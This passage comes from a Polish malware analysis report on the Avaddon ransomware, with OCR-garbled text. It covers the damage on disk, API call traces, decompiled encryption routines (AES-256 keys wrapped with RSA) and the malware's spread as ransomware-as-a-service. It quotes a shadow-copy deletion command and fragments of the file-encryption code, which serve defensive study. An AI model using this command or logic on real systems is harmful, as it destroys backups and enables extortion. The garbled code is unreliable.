Rysunek 17. Notatka zostawiona uzytkownikowi przez Avaddon — zmodyfikowana poprzez usunigcie
zbednych znakow nowej linii.

Pliki tekstowe o identycznej tresci mozna znalez¢ byto réwniez w folderach, w ktérych

Avaddon zaszyfrowat dane.

Dodatkowo, podczas dziatania Avaddon wyfaczyt mechanizm kontroli UAC oraz witgczyt

prezentacje ukrytych wczesniej wolumendw dyskowych.

v Devices and drives (4)

- Local Disk (C:) Dane (D:)
== I [
] 15.7 GB free of 49.4 GB W™ 45,5 GB free of 49.9 GB
Local Disk (Y:) System Reserved (Z:)
] 82.0 MB free of 508 MB ] 19.6 MB free of 49.9 MB
Rysunek 18. Ukryte wczesniej wolumeny systemowe pojawily sie jako dyski Y oraz Z.

[11.6.2 Analiza stanu dysku po przeprowadzonym ataku

Analiza stanu dysku (partycji) D po ataku Avaddon ujawnita nastepujgce zmiany:
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e Usunieta zostata binarna wersja wirusa przechowywana w folderze gtéwnym dysku
D.

e Pierwszy 1MB danych pliku okreslonego typu (obrazki, archiwa, pliki pakietow
biurowych, pliki z kodami zrédtowymi) zostat zaszyfrowany.

e Na koncu zaszyfrowanego pliku dodane zostaty metadane zawierajgce m.in.
zaszyfrowany klucz AES uzyty podczas szyfrowania zawartosci pliku.

e Do nazwy pliku dodane zostato nowe rozszerzenie. W przypadku analizowanego
ataku dodane zostato rozszerzenie aACABebEda. Ransomware warto$¢ tg generuje
podczas ataku. W zwigzku z tym, pliki pochodzace z réznych atakéw beda miaty
rdzne rozszerzenia.

e W kazdym folderze, w ktorym Avaddon zaszyfrowat co najmniej jeden plik,
umieszony zostat plik o nazwie MN2D2_readme_.txt. Plik ten zawiera notatke
od cyberprzestepcéw zawierajgcg m.in. opis sposobu zaptaty okupu oraz unikalny
identyfikator zwigzany z atakiem. ldentyfikator ten stuzy cyberprzestepcom do

identyfikacji kluczy, jakie zostaty uzyte podczas ataku.

Folder PATH listing for volume Dane Folder PATH listing for volume Dane

Volume serial number is 12C8-57BB Volume serial number is 12C8-57BB 1

D:. D:.
0ff4058£709d278ed66271909627618c48e7a656c59f6bfecdad081lc/cbd742b.z1 |
avaddon.apmx86 |
MN2D2_readme_.txt |
RegistryChangesView.cfg.aACABebEda
RegistryChangesView.exe |
tree.aACABebEda |
tree avaddon |
tree d.xls.aACABebEda

0££4058£709d278ed662719b9627618c48e7a656c59f6bfecda9081lc7cbd742b.ex
0££4058£709d278ed662719b9627618c48e7a656c59f6bfecda9081lc7cbd742b. zi
RegistryChangesView.cfg

RegistryChangesView.exe
EFEE
tree d.xls

—--Archiwa

100 najpiekniejszych miejsc w Polsce [PL].zip.aACABebEda 100 najpiekniejszych miejsc w Polsce [PL].zip

+---Arkusze

+---Developer

|
|
|
|
|
|
|
|
|
+---Archiwa
|
|
|
|
|
|
|
|
|
|
|
|

Egzamin.rar.aACABebEda

Elektro dr-hab.Lota.rar.aACABebEda

Kecki - Podstawy spektroskopii molekularnej.rar.aACABebEda
MN2D2_readme_.txt

Przebiegi elektrochemia stosowana.rar.aACABebEda

Przebiegi galwanotechnika.rar.aACABebEda

Rysowane oléwkiem portrety.zip.aACABebEda
Sprawka.rar.aACABebEda

Witruwiusz O Architekturze Ksiag Dziesiec.rar.aACABebEda

|
+
|
cynkowanie ogniowe.rar.aACABebEda |
|
|
|
|
|
|
|
I

MN2D2_readme .txt |
sprawko-4.x1lsx.aACABebEda |
sprawko2.xlsx.aACABebEda

|

Wier: 1 Kol: 1/36 Zn: 1/36

1SO-10646-UCS-2 BONWin

Rysunek 19.

cynkowanie ogniowe.rar

Egzamin.rar

Elektro dr-hab.Lota.rar

Kecki - Podstawy spektroskopii molekularnej.rar
Przebiegi elektrochemia stosowana.rar

Przebiegi galwanotechnika.rar

Rysowane oloéwkiem portrety.zip

Sprawka.rar

Witruwiusz O Architekturze Ksiag Dziesiec.rar

+---Arkusze

sprawko-4.x1sx
sprawko2.xlsx

+---Developer

Wier: 1 Kol: 1/36 Zn: 1/36

1SO-10646-UCS-2 BONWin

Porownanie drzewa plikow sprzed oraz z po ataku Avaddon.

I11.6.3 Analiza wywotan istotnych funkcji APl systemu Windows

Do monitorowania wywofania istotnych funkcji APl podczas przeprowadzania ataku przez

Avaddon wykorzystane zostato oprogramowanie APl Monitor. Proces Avaddon uruchomiony

zostat z poziomu APl Monitor. Wywotania API sledzony byty z wykorzystaniem mechanizmu
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,Remote thread (standard)”. Monitorowaniu podlegaty funkcje importowane przez Avaddon

zwigzane z operacjami na pliku oraz operacjami kryptograficznymi:

e CreateFile

e OpenFile
e ReadFile
e \WriteFile

e CryptExportKey
e CryptEncrypt
e CryptGenKey

e CryptAcquireContext

Sumarycznie, podczas analizowanego ataku, Avaddon wywotat wskazane funkcje API
Windows ponad 1 milion razy. Analizujgc wyniki uzyskane w APl Monitor mozna dodatkowo
zauwazyé, ze Avaddon po uruchomieniu utworzyt trzy dodatkowe procesy. Zadaniem kazdego
z nich byto usuniecie danych mechanizmu VSS, ktére mogtyby postuzyé do odzyskania czesci
utraconych w wyniku ataku danych. Kazdy z uruchomionych proceséw wywotat polecenie

wmic.exe shadowcopy delete /noninteractive.

W == /N N N L
SRR, Fe M ® 34 5
[+ - 6 o ] - .
\ %ﬂrf\'\ﬁ/inéﬁm}k\svéw‘h RWhermtwrmi axe - P 4813 Tarmnatad hexehe Time of Day
it CAWINdows\ SvsWOWBA\Whent === RIS SUAS i 1 A24:55.830 F
“ Process WMI Commandline Utility 55.893 |
Process ID 7920 56.000 F
Filename C:\Windows\SysWOW64\Wbem\wmic.exe 56.000
Command Linenic SHADOWCOPY DELETE 56.116 |
/nointeractive |
Base Addres©x00590000 63371
Start Time 1/30/2022 4:24:55 PM
Stop Time 1/30/2022 4:24:56 PM
Memory UseslkKB
Total Calls 6
Rysunek 20. Dodatkowe procesy uruchomione przez Avaddon.
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I11.7 Audytu kodu zrédtowego

Audyt kodu Zrédtowego oprogramowania Avaddon przeprowadzony zostat w oparciu
ojego posta¢ po dekompilacji. Dekompilacja wykonana zostata zwykorzystaniem
oprogramowania IDA Pro oraz IDA Decompiler w wersji 32 bitowej. Oprogramowanie
to stanowi cze$¢ przygotowanego srodowiska do dynamicznej analizy ztosliwego

oprogramowania.

[11.7.1 Funkcja main

Ponizej przedstawiona zostata funkcja main analizowanej wersji Avaddon. Kod tej funkcji
odzyskany zostat z wykorzystaniem dekompilatora wchodzacego w sktad srodowiska do
dynamicznej analizy zto$liwego oprogramowania. Dla poprawy czytelnosci, cze$¢ odzyskanego

kodu, w tym m.in. deklarowanie oraz ustawianie wartosci zmiennych, zostata usunieta.

int _ stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int
nShowCmd)
{
// okreslenie zmiennych lokalnych
if ( sub_425060() )
{
setlocale (0, ::Src);
sub 407F00 (Src, (void *)::Src, 0);
sub 424E90 (Src, v4);
if ( v48 >= 0x10 )
sub 4056A0(Src[0], v48 + 1);

std::locale::global (v40, v42);

;% = sub 4093F0(v14, v21);
géb74093FO(v15, v22);
;éb741A92O(v16, v23);
géb74OC47O(v7);

if ( v48 >= 8 )

sub 4056A0(Src[0], 2 * v48 + 2);

if ( v39 >= 8 )
sub 4056A0(v37, 2 * v39 + 2);

if ( v36 >= 8 )
sub 4056A0(v34, 2 * v36 + 2);

v8 = (void *)sub 4093F0(v17, v24);
v9 = sub 4093F0(v18, v25);
sub 4254F0(v9, v8, v44d);
if ( v33 >= 8 )
sub 4056A0 (v31, 2 * v33 + 2);

if ( v30 >= 8 )
sub 4056A0(v29, 2 * v30 + 2);

sub 4051B0(Src, lpCmdLine, wcslen((const unsigned _ intl6 *)lpCmdLine));

if ( v47 )
{
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v10 sub 4093F0(v19, v26);
v1ll sub 408B70 (Src, v10);
if ( v30 >= 8 )
sub 4056A0(v29, 2 * v30 + 2);
if ( v1il )
{
sub 4226F0(v20, v27);
}
else
{
v1l2 = Src;
if ( v48 >= 8 )
v12 = (int *)Src([0];
if ( *(_WORD *)vl12 != 45 )
sub 4228A0(Src);

}
}
else
{
(*(void (_ thiscall ) (int)) (* (_DWORD *)v49 + 16)) (v49);
}
if ( v48 >= 8 )
sub 4056A0(Src[0], 2 * v48 + 2);
if ( v49 )
((void (_ thiscall *) (int, int))wv49) (v49, 1);
if ( vd5 >= 8 )
sub 4056A0(v44[0], 2 * v45 + 2);
}
return 0;

}

Kod zrédtowy 4. Funkcja main — wersja zdekompilowana

Ponizsza tabela opisuje gtowne funkcje, wywotywane z poziomu funkcji main.

Nazwa funkgji Znaczenie biznesowe
sub_425060
setlocale
sub_407F00
sub_424E90
sub_4056A0
sub_4093F0
sub_41A920
sub_40C470
sub_4093F0
sub_4254F0 Szyfrowanie zawartosci dysku
sub_4051B0
sub_408B70
sub_4226F0
sub_4228A0

[1l.7.2 Mechanizm szyfrowania danych — tworzenie kontekstu oraz kluczy
kryptograficznych

Ponizej przedstawiony zostat fragment funkcji sub_418BC0, w ktorej zaimplementowany

zostat mechanizm przygotowania danych kryptograficznych na potrzeby szyfrowania pliku.
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W funkcji tej nastepuje réwniez wywotanie samego procesu szyfrowania. Najwazniejsze

wywotania funkcji w przedstawionym kodzie zrodtowym zostaty pogrubione.

if ( CryptAcquireContextW (&phProv, 0, L"Microsoft Enhanced RSA and AES Cryptographic
Provider", 0x18u, 0xF0000000) )

{

if ( CryptGenKey (phProv, 0x6610u, lu, &phKey) )
{

v8 = GetFileAttributesW(v7) & OxXFFFFFFFE;
SetFileAttributesW(v9, v8);
FileW = CreateFileW(v10, 0xC0000000, 0, 0, 3u, 0x80u, 0);

if ( FileW != (HANDLE)-1 )
{
if ( *(_DWORD *) (v5 + 40) == )
v12 = sub_419740 (phKey, FileW);
else
v12 = sub_419380 (phKey, FileW, * (_DWORD *) (v5 + 40));
if ( v1i2 )
{
CloseHandle (hObject) ;

v13 = (void *)sub_417020(v20, v5 + 16, (int)v43);
sub_4060E0 (v6) ;

if ( v21 >= 8 )
sub_4056A0 (v20[0], 2 * v21 + 2);

1% ( v15 )
{

sub_4060EO0 (v6) ;

if ( v25 >= 8 )
sub_4056A0 (v23, 2 * v25 + 2);

}

if ( v36 >= 8 )
sub_4056A0(v34, 2 * v36 + 2);

if ( v33 >= 8 )
sub_4056A0 (v31, 2 * v33 + 2);

if ( v45 >= 8 )
sub_4056A0 ( (void *)v43[0], 2 * v45 + 2);

}
else
{
CloseHandle (hObject) ;
}
}
CryptDestroyKey (phKey) ;
}
CryptReleaseContext (phProv, 0);

Kod Zrédfowy 5. Szyfrowanie zawartosci plikéw - wersja zdekompilowana

Analizujac powyzszy fragment kodu widac, ze proces szyfrowania pliku sktada sie z:

e Utworzenia kontekstu kryptograficznego na potrzeby obstugi algorytmu AES—

wywotanie funkcji APl Windows CryptAcquireContextW.
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e Wygenerowania nowego klucza symetrycznego dla algorytmu AES-256— wywotanie
funkcji API Windows CryptGenKey.

e Odczytania atrybutéw przetwarzanego pliku— wywotanie funkcji APl Windows
GetFileAttributesW.

e Wywotanie funkcji szyfrujgcych (opisane dalej) oraz aktualizujgcych zawartosé pliku.

e Zniszczenie danych kluczy oraz kontekstu kryptograficznego — CryptDestroyKey,

CryptReleaseContext.

[11.7.3 Mechanizm szyfrowania danych — szyfrowanie zawartosci pliku
Ponizej przedstawiony zostat fragment funkcji sub_419380, w ktorej zaimplementowany
zostat mechanizm szyfrowania zawartosci plikdw. Najwazniejsze wywotania funkcji

w przedstawiony kodzie zrodtowym zostaty pogrubione.

while (1)
{
liDistanceToMove.QuadPart = 0i64;
if ( !SetFilePointerEx (hFile, 0164, &NewFilePointer, 1lu) )
break;

v5 = lpBuffer;
if ( v28 >= 0x10 )
v5 = (LPVOID *)lpBuffer[0];
if ( 'ReadFile (hFile, v5, 0x100000u, &NumberOfBytesRead, O0)
|| !SetFilePointerEx (hFile, NewFilePointer, &liDistanceToMove, 0) )
{

break;

for (1 = 0; 1 < NumberOfBytesRead; i += 0x2000 )

v7 = lpBuffer;
v8 = v21;
if ( v28 >= 0x10 )
v7 = (LPVOID *)lpBuffer[0];
if ( v22 >= 0x10 )
v8 = (LPCVOID *)v21[0];
memmove (v8, &v7[i / 4], 0x2000u);
if ( !(unsigned __ int8)sub_41A0A0 (hKey, 0, (BYTE *)v21l, 0x2000u, v3) )
goto LABEL 36;
v9 = v21;
if ( v22 >= 0x10 )
v9 = (LPCVOID *)v21([0];
if ( !'WriteFile (hFile, v9, v3, &NumberOfBytesWritten, 0) )

goto LABEL 36;

if (a3 !'=1)
{
v10 = v15;
v1l5 += 0x100000;
vll.QuadPart =  PAIR64 (vl6.HighPart, v10) + 0x100000;
vl6.HighPart = (_ PAIR64 (vl6.HighPart, v10) + 0x100000) >> 32;
if ( vll.QuadPart < FileSize.QuadPart )
continue;

}
goto LABEL_24;
}

Kod zrédtowy 6. Fragment funkcji sub_419380, szyfrowanie zawartosci plikow - wersja zdekompilowana
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Analizujac powyzszy fragment kodu widac, ze proces szyfrowania zawartosci pliku sktada

sie z:

e Ustawienia wskaznika na poczatku aktualnie przetwarzanego pliku — wywotanie
funkcji APl Windows SetFilePointerEx.
e Odczytania zawartosci pliku — maksymalnie 0x100000 bajtéow (1 MB), wywotanie
funkcji APl Windows ReadFile.
e Przetwarzania odczytanej zawartosci w blokach o dtugosci 0x2000 (8192 bajty):
o Szyfrowania danych — wywotanie funkcji sub_41A0AO0.

o Zapisu danych do pliku — wywoftanie funkcji APl Windows WriteFile.

Ponizej przedstawiona zostata zdekompilowana wersja funkcji sub_41A0A0. Najwazniejsze

wywotania funkcji w przedstawiony kodzie zrédtowym zostaty pogrubione.

bool  stdcall sub 41A0AO0 (HCRYPTKEY hKey, char a2, BYTE *pbData, DWORD pdwDataLen, DWORD
dwBufLen)
{

BYTE *v5; // eax

( (_DWORD *)pbData + 5) >= 0x10u )
v5 * (BYTE )pbData;

return CryptEncrypt (hKey, 0, (unsigned _ int8)a2, 0, v5, &pdwDataLen, dwBufLen);
}

= pbData;
*(

Kod zrédtowy 7. Funkcja sub_41A0A0 — wersja zdekompilowana

Powyzsza funkcja szyfruje przekazane do niej dane. Do tego celu korzysta z dostepnej w API

Windows metody CryptEncrypt.

[1l.7.4 Mechanizm szyfrowania danych — szyfrowanie klucza AES kluczem
publicznym RSA

Ponizej przedstawiony zostat fragment funkcji, w ktérej zaimplementowany zostat
mechanizm szyfrowania kluczem RSA danych klucza AES, ktéry zostat uzyty w procesie
szyfrowania zawartosci pliku. Najwazniejsze wywotania funkcji w przedstawionym kodzie

zrédtowym zostaty pogrubione.

if ( CryptAcquireContextW (&phProv, 0, L"Microsoft Enhanced RSA and AES Cryptographic
Provider", 0x18u, 0xF0000000) )

if ( CryptImportKey (phProv, pbData, O0x2Cu, 0, 1lu, phKey) )

if ( CryptSetKeyParam(phKey[0], 1lu, v7, 0) )

*(_DWORD *)v20 = 1;

CryptSetKeyParam (phKey[0], 4u, v20, 0);

hKey = 0;

if ( CryptDuplicateKey (phKey([0], 0, 0, &hKey) )
{
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pdwDatalen = *vl12;
if ( CryptEncrypt(hKey, 0, 1, 0, 0, &pdwDatalLen, 0) )
{

if ( Src != a4d )

sub_407F00 (Src, v4, *vl2);

}
sub_4134BO0 (Src, pdwDatalen, O0);

if ( CryptEncrypt(hKey, 0, 1, 0, v8, &v22, pdwDatalen) )
{

sub_4134BO0 (Src, v22, 0);

CryptDestroyKey (hKey) ;
}
}

}

CryptDestroyKey (phKey [0]) ;
}
CryptReleaseContext (phProv, 0);

}

Kod Zrédfowy 8. Szyfrowanie danych klucza AES kluczem RSA - wersja zdekompilowana

Analizujgc powyzszy fragment kodu wida¢, ze proces szyfrowania danych klucza AES sktada
sie z:

e Utworzenia kontekstu kryptograficznego na potrzeby obstugi algorytmu RSA-
wywotanie funkcji APl Windows CryptAcquireContextW.

e Woczytania danych klucza publicznego RSA, ktdre stanowig czes¢ zawartosci pliku
Avaddon — wywotanie funkcji APl Windows CryptimportKey.

e Ustawienia parametrow utworzonego kontekstu kryptograficznego — wywotanie
funkcji APl Windows CryptSetKeyParam.

e Szyfrowania danych klucza AES — wywotanie funkcji APl Windows CryptEncrypt.

e Zniszczenia uzywanych kluczy kryptograficznych — wywotanie funkcji APl Windows
CryptDestroyKey.

e Zwolnienia uzywanego kontekstu kryptograficznego — wywotanie funkcji API

Windows CryptReleaseContext.

Wyniki zwracane przez te funkcje uzywane sg w funkcji, ktéra na koncu zaszyfrowanego

pliku dodaje stopke, zawierajacg informacje m.in. o:

e Kluczu AES, jaki zostat wykorzystany do zaszyfrowania zawartosci pliku.
e Pierwotnej nazwie pliku.
e Pierwotnym rozmiarze pliku.

e Typie pliku.
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e Lokalizacji pliku.

[11.7.5 Analiza funkcji APl systemu Windows uzywanych przez Avaddon

Ponizsza tabela prezentuje sekwencje wywotan wybranych funkcji APl Windows przy
przetwarzaniu przez Avaddon pliku D:\\Developer\Signal-iOS-master\Signal\test\Assets\test-
jpg.JPG.

Wywotana funkcja API

CryptAcquireContextW ( 0x00a7f9b4, NULL, "Microsoft Enhanced RSA and AES Cryptographic
Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT )

CryptGenKey ( 0x0565c810, CALG_AES_256, 1, 0x00a7f9b8 )

CreateFileW ( "D:\\Developer\Signal-iOS-master\Signal\test\Assets\test-jpg.JPG", GENERIC_READ
| GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL )

NtCreateFile ( Ox00a7f6e4, FILE_READ_ATTRIBUTES | GENERIC_READ | GENERIC_WRITE |
SYNCHRONIZE, 0x00a7f710, Ox00a7f6e8, NULL, FILE_ATTRIBUTE_NORMAL, O, FILE_OPEN,
FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0)

CryptEncrypt ( 0x00c02c38, NULL, FALSE, 0, NULL, 0x00a7f7b8, 0 )

ReadFile ( 0x00000724, 0x04479040, 1048576, 0x00a7f874, NULL )

CryptEncrypt ( 0x00c02c38, NULL, FALSE, 0, 0x04cdf740, 0x00a7f7cc, 8192 )

WriteFile ( 0x00000724, 0x04cdf740, 8192, 0x00a7f878, NULL )

CryptEncrypt ( 0x00c02c38, NULL, FALSE, 0, 0x04cdf740, 0x00a7f7cc, 8192 )

WriteFile ( 0x00000724, 0x04cdf740, 8192, 0x00a7f878, NULL )

CryptEncrypt ( 0x00c02c38, NULL, FALSE, 0, 0x04cdf740, 0x00a7f7cc, 8192 )

WriteFile ( 0x00000724, 0x04cdf740, 8192, 0x00a7f878, NULL )

CryptEncrypt ( 0x00c02c38, NULL, FALSE, 0, 0x04cdf740, 0x00a7f7cc, 8192 )

WriteFile ( 0x00000724, 0x04cdf740, 8192, 0x00a7f878, NULL )

CryptEncrypt ( 0x00c02c38, NULL, FALSE, 0, 0x04cdf740, 0x00a7f7cc, 8192 )

WriteFile ( 0x00000724, 0x04cdf740, 8192, 0x00a7f878, NULL )

CryptEncrypt ( 0x00c02c38, NULL, FALSE, 0, 0x04cdf740, 0x00a7f7cc, 8192 )

WriteFile ( 0x00000724, 0x04cdf740, 8192, 0x00a7f878, NULL )

CryptEncrypt ( 0x00c02c38, NULL, FALSE, 0, 0x04cdf740, 0x00a7f7cc, 8192 )

WriteFile ( 0x00000724, 0x04cdf740, 8192, 0x00a7f878, NULL )

CryptEncrypt ( 0x00c02c38, NULL, FALSE, 0, 0x04cdf740, 0x00a7f7cc, 8192 )

WriteFile ( 0x00000724, 0x04cdf740, 8192, 0x00a7f878, NULL )

CryptEncrypt ( 0x00c02c38, NULL, FALSE, 0, 0x04cdf740, 0x00a7f7cc, 8192 )

WriteFile ( 0x00000724, 0x04cdf740, 8192, 0x00a7f878, NULL )

CryptEncrypt ( 0x00c02c38, NULL, FALSE, 0, 0x04cdf740, 0x00a7f7cc, 8192 )
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WriteFile ( 0x00000724, 0x04cdf740, 8192, 0x00a7f878, NULL )

CryptExportKey ( 0x00c02¢c38, NULL, PLAINTEXTKEYBLOB, 0, NULL, 0x00a7f740 )

CryptEncrypt ( 0x00b56730, NULL, TRUE, 0, NULL, 0x00a7f738, 0)

CryptExportKey ( 0x00c02¢c38, NULL, PLAINTEXTKEYBLOB, 0, 0x059dc2d8, 0x00a7f750 )

CryptEncrypt ( 0x00b56730, NULL, TRUE, 0, 0x059dc2d8, 0x00a7f74c, 256 )

WriteFile ( 0x00000724, 0x00b45918, 512, 0x00a7f878, NULL )

WriteFile ( 0x00000724, 0x00a7f7fc, 24, 0x00a7f878, NULL )

Analizujac powyisza tabele mozna okreslic sekwencje zdarzeh przy przetwarzaniu

pojedynczego pliku:

1. Utworzony zostaje kontekst kryptograficzny oraz wygenerowany zostaje klucz dla
algorytmu AES-256 — CryptAcquireContextW, CryptGenKey.

2. Zostaje otwarty atakowany plik oraz odczytane zostajg z niego dane — maksymalnie
1 MB - CreateFileW, ReadFile.

3. Nastepuje sekwencja wywotan funkcji CryptEncrypt oraz WriteFile. Podczas
pojedynczego wywotania tych funkcji szyfrowane sg 8192 bajty danych oraz
zapisywane do pliku.

4. Klucz AES zostaje wyeksportowany, zaszyfrowany kluczem publicznym RSA oraz
wraz zinnymi danymi, zostaje dodawany do konca pliku — CryptExportKey,

CryptEncrypt, WriteFile.

Summary | 1,030,123 calls | 1063.34 MBused | 0ff4058f709d278ed662719b9627618c48e7a656c59f6bfecdad081c7cbd742b.exe

H-a O = 09 k] [ E VR

1L D\0ff40581709d71 4 TimeofDay  Thread Module  API % Retur... Error Dur... S

IQ‘FQW.HEMJEJZWFA.H 4:27:29515PM 2 0ff4058... WriteFile ( 0x00000724, 0x04cdf740, 8192, 0x0C , NULL) TRUE 00...
4. 427:29515PM 2 0ff4058... CryptEncrypt ((0x00c025f8, NULL, FALSE, 0, 0x04cdif740, 0x00a7f7cc, 8192 ) TRUE 00...
4. 427:29515PM 2 0ff4058... WriteFile ( 0x00000724, 0x04cdlf740, 8192, 0x00a7f878, NULL ) TRUE 00...
4. 427:29515PM 2 0ff4058... CryptEncrypt ((0x00c025f8, NULL, FALSE, 0, 0x04cdif740, 0x00a7f7cc, 8192 ) TRUE 00...
4. 4:27:29.515PM 2 0ff4058... WriteFile (0x00000724, 0x04 , 8192, , N TRUE 0.0...
4. 427:29515PM 2 Off4058... CryptEncrypt ((0x00c025f8, NULL, FALSE, 0, 0x04cdif740, 0x00a7f7cc, 8192 ) TRUE 00...
4 5 0ff4058... ReadFile (0x000006b0, 0x04360040, 1048576, . NULL) TRUE 00...
4 5 0ff4058... CryptEncrypt ((0x00c02b78, NULL, FALSE, 0, 0x04ce 1940, 0x0371fb14, 8192) TRUE 00...
4 5 0ff4058... WriteFile (0x000006b0, 0x04ce1940, 8192, Ox , NULL) TRUE 00...
4 5 0ff4058... CryptExportKey ( 0x00c02b78, NULL, PLAINTEXTKEYBLOB, 0, NULL, 0x0371fa88 ) TRUE 00...
4 5 Off4058... CyptENcrypt (0X00BS6730, NULL, TRUE, 0, NULL, 0:03711280,0) TRUE 00..
4. 5 0ff4058... CryptExportKey ( 0x00c02b78, NULL, PLAINTEXTKEYBLOB, 0, 0x059dbc48, 0x0371a98 ) TRUE 00...
4. 427:29548PM 5 0ff4058... CryptEncrypt ((0x00b56730, NULL, TRUE, 0, 0x059dbc48, 0x0371fa%4, 256 ) TRUE 00..
4. 427:29548PM 5 Off4058... WriteFile ( 0x000006b0, 0x00b44c28, 512, 0x0371fbc0, NULL ) TRUE 00...
4. 427:29548PM 5 0ff4058... WriteFile ( 0x000006b0, 0x03711b44, 24, 0x03711t ) TRUE 00...
4. 427:29548PM 5 Off4058... CreateFileW (" C\\Users\drh\\Desktop\DeveIoper\Slgna\ i0S-mastenSignal\images xcassets\plus- ERlee e (375, 00...
4. 427:29548PM 5 KERNEL.. - NiCreatefile (0:03711c, FLE_READ_ATTRIBUTES | GENERIC_WRITE | SYNCHRONIZE, 0103711525, 900, NULL, STAT... 00...
4. 427:29548PM 5 0f4058... WriteFile ( 0x000006b0, 0x04€53¢70, 3775, b58, NULL ) TRUE 00...
4. 427:29548PM 5 0ff4058... CryptDestroyKey ( 0x00c02b78 ) TRUE 00...
4. 427:29548PM 5 0ff4058... CreateFileW ("DA\DevelopenSignal-iOS-masten\Signal\test\Assets\test-mp4.mp4”, GENERIC_READ, 0, NULL, OPEN_EXI... 0x000. 00...
4. 427:29548PM 5 KERNEL.. “NtCreatefile ( 0x0371f9e4, FILE_READ_ATTRIBUTES | GENERIC_READ | SYNCHRONIZE, , 0x03719e8, NULL, STAT... 00...
4. 427:29548PM 5 0f4058... ReadFile ( 0x000006b0, 0x00b43140, 24, fobe, NULL ) TRUE 00...
4. 427:29548PM 5 0ff4058.. ReadFile ( 0x000006b0, 0x00b43140, 24, 0x0371fbb0, NULL ) TRUE 00...
4. 427:29548PM 5 RstrtM... CreateFileW ( "D:\Developen\Signal-i0S-masten\Signal\test\Assets\test-mp4.mp4”, GENERIC_READ | GENERIC_WRITE, 0, 0x000.. 00...
4. 427:29548PM 5 KERNEL.. “-NtCreatefile ( 0x0371f7e4, FILE_READ_ATTRIBUTES | GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, 0x0371810, ( STAT... 00...
4. 427:29548PM 5 RstrtM... CreateFileW ( "D:\Developen\Signal-i0S-masten\Signal\test\Assets\test-mp4.mp4”, GENERIC_READ | GENERIC_WRITE, 0, 0x000.. 00...
4. 427:29548PM 5 KERNEL.. “-NtCreatefile ( 0x0371f7ec, FILE_READ_ATTRIBUTES | GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, 0x0371f818, ( STAT... 00...
4. 427:29548PM 5 0ff4058... CryptAcquireContextW ( 0x0371fcfc, NULL, "Microsoft Enhanced RSA and AES Cryptographic Provider”, PROV_RSA AES, ¢ TRUE 00...

< > 4. 427:29.548PM 5 0ff4058... CryptGenKey ( 0x0565c898, CALG_AES_256, 1, 0x0371fd00 ) TRUE 00... v

Rysunek 21. Zarejestrowane wybrane wywotania API Windows — API Monitor
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I11.8 Techniczna analiza budowy, sposobu dziatania i sposobu
rozprzestrzeniania

Proces analizy ztosliwego oprogramowania, w ogdlnym przypadku, nie jest zadaniem
prostym. Wyniki tego procesu dla oprogramowania Avaddon opisane zostaty w ponizszym

rozdziale.

[11.8.1 Analiza budowy
Avaddon jest zaawansowanym oprogramowaniem typu ransomware. Napisany zostaf
w jezyku C++, skompilowany w srodowisku Windows z wykorzystaniem srodowiska Microsoft

Visual Studio. Aplikacja utworzona zostata w wersji 32-bitowe;.

Oprdcz samego wirusa, tworcy Avaddon przygotowali oraz udostepnili uzytkownikom cafg
infrastrukture sprzetowo-programowg do tworzenia oraz przeprowadzania atakéw

ransomware.

Analizujgc  budowe wersji binarnej Avaddon mozna wyrdzni¢ kilka gtéwnych

mechanizmow:

e Mechanizm szyfrowania danych.

Mechanizm weryfikacji lokalizacji zaatakowanego systemu.

Mechanizm omijania UAC i podwyzszania uprawnien.

Mechanizm usuwania punktéw przywracania, plikow mechanizmu Volume Shadow

Copies oraz plikdw backup’ow.

Mechanizm zatrzymywania wybranych procesow systemowych.
e Mechanizm modyfikacji wpisdw w rejestrze.

e Mechanizm kradziezy danych.

Proces szyfrowania danych pliku sktada sie z czterech gtéwnych etapow:

Etap tworzenia kluczy dla algorytmu AES-256.

Etap szyfrowania zawartosci pliku (maksymalnie pierwsze 1048576 baijty).

Etap szyfrowania danych klucza AES-256 kluczem publicznym RSA-2048.

Etap dodawania do zaszyfrowanego pliku dodatkowych danych zawierajacych m.in.

dane zaszyfrowanego klucza AES-256.

Etap kasowania kluczy symetrycznych AES-256.
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111.8.2 Analiza sposobu dziatania
Bazujac na przeprowadzonych analizach oraz uzyskanych wynikach badan, moze okresli¢
podstawowy sposOb dziatania oprogramowania Avaddon (od momentu uruchomienia

w atakowanym systemie operacyjnym):

e Utworzenie mutex’'u bazujacego na unikalnym GUID — Avaddon zapewnia,
ze w danym momencie dziatata bedzie tylko i wyfaczenie jedna instancja wirusa.

e Weryfikacja jezykowa — Avaddon weryfikuje, czy aktualnie ustawiony jezyk
na zaatakowanej stacji to rosyjski lub ukrainski. Jezeli tak, to Avaddon konczy
dziatanie. Dodatkowo Avaddon sprawdza, czy na atakowanej stacji ustawiony jest
uktad klawiatury 419h (Russian), 485h (Yakut), 444h (Tatar), 422h (Ukrainian). Jezeli
tak, to Avaddon réwniez konczy dziatanie.

e Utworzenie lokalnej kopii — Avaddon tworzy wifasng kopie w pamieci statej
atakowanego systemu komputerowego.

e Pominiecie UAC — Avaddon omija mechanizm UAC.

e Podwyiszenie uprawnien wykonania — Avaddon uzyskuje uprawnienia
administracyjne.

e Usuniecie plikéw mechanizmoéw backupu oraz Volume Shadow Copies (VSS).

e Utworzenie wpisdw wrejestrze — Avaddon dodaje wpisy na potrzeby
automatycznego uruchomienia podczas startu systemu operacyjnego.

e Zatrzymanie procesow uruchomionych w atakowanym systemie — Avaddon
zatrzymuje okreslone procesy i ustugi systemowe. Atakujgcy wybierajg na etapie
konfiguracji Raas$, jakie procesy oraz ustugi majg zostac zatrzymane.

e Szyfrowanie danych —Avaddon, korzystajac z algorytmu AES-256 szyfruje zawartosc¢
plikdw oraz zmienia ich nazwy.

e Prezentacja informacji o ataku oraz sposobie zaptaty okupu.

111.8.3 Analiza sposobu rozprzestrzeniania

Avaddon udostepniany byt przez twércéw w modelu RaaS. Dzieki temu, twdorcy sami nie
przeprowadzali atakow ransomware, ajedynie $wiadczyli takie ustugi narzecz swoich
klientéw. Dodatkowo, twoércy swiadczyli ustugi wsparcia oraz pomocy technicznej. Ataki oraz

ich cele wybierali klienci ustugi RaaS.
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Atak ransomware zaczyna sie od fazy infiltracji, po ktérej nastepuje faza instalacji. Ztosliwe
